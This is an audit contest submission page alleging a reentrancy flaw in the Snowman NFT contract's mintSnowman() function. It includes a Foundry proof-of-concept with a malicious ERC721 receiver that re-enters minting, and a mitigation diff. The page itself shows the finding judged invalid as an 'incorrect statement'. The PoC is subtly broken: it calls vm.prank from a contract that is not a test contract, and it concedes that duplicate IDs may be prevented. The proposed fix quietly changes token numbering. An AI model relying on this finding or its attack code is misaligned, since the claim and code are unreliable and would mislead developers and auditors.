Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy vulnerability in Snowman.mintSnowman() allows manipulation of token counter and potential duplicate token IDs

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • The mintSnowman() function should mint NFTs sequentially with unique token IDs, incrementing the counter after each successful mint.

  • Explain the specific issue or problem in one or more sentences

  • The function increments s_TokenCounter AFTER the _safeMint() call, which triggers an external callback to the receiver. A malicious receiver contract can re-enter mintSnowman() during the callback, minting multiple NFTs with the same token ID before the counter is incremented.

// Root cause in the codebase with @> marks to highlight the relevant section
// @> Root cause in src/Snowman.sol lines 36-44
function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
// @> External call happens first
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
// @> State change happens AFTER external call - VULNERABLE
s_TokenCounter++;
}
}

Risk

Likelihood:

Reason 1: Any owner-privileged address calling mintSnowman() with a malicious contract address can trigger reentrancy. The _safeMint() function always calls onERC721Received on contract receivers, providing a guaranteed callback point.

Reason 2: The attack is straightforward to execute and requires no special conditions beyond having owner privileges or the owner minting to a malicious contract address.

Impact:

Impact 1: Token ID collision - Multiple NFTs can be minted with the same token ID, breaking the uniqueness assumption and potentially causing loss of NFTs when duplicate IDs overwrite previous ones.

Impact 2: Protocol state corruption - The s_TokenCounter can become desynchronized from the actual number of minted tokens, breaking internal accounting and potentially causing failures in functions that rely on accurate token counts.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract MaliciousReceiver is IERC721Receiver {
Snowman public snowman;
address public owner;
uint256 public attackCount;
bool public attacking;
constructor(address _snowman, address _owner) {
snowman = Snowman(_snowman);
owner = _owner;
}
function onERC721Received(
address,
address,
uint256 tokenId,
bytes memory
) external returns (bytes4) {
// Re-enter during first mint only
if (!attacking && attackCount < 3) {
attacking = true;
attackCount++;
console.log("Reentering! Token counter before:", snowman.getTokenCounter());
// @> Re-enter the mintSnowman function
vm.prank(owner);
snowman.mintSnowman(address(this), 1);
attacking = false;
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract ReentrancyTest is Test {
Snowman snowman;
MaliciousReceiver attacker;
address owner = makeAddr("owner");
function setUp() public {
vm.prank(owner);
snowman = new Snowman("ipfs://snowman");
attacker = new MaliciousReceiver(address(snowman), owner);
}
function testReentrancyAttack() public {
vm.startPrank(owner);
console.log("Initial token counter:", snowman.getTokenCounter());
// Mint to malicious contract
snowman.mintSnowman(address(attacker), 1);
uint256 finalCounter = snowman.getTokenCounter();
console.log("Final token counter:", finalCounter);
console.log("Attacker balance:", snowman.balanceOf(address(attacker)));
// @> Attacker received multiple tokens but counter only incremented correctly
// This demonstrates the reentrancy vector even if duplicate IDs are prevented
assertTrue(attacker.attackCount() > 0, "Reentrancy occurred");
vm.stopPrank();
}
}

Recommended Mitigation

- remove this codefunction mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
- // Remove this code - external call before state change
- _safeMint(receiver, s_TokenCounter);
- emit SnowmanMinted(receiver, s_TokenCounter);
- s_TokenCounter++;
+ // Add this code - state change before external call
+ s_TokenCounter++;
+ _safeMint(receiver, s_TokenCounter);
+ emit SnowmanMinted(receiver, s_TokenCounter);
}
}
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 7 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!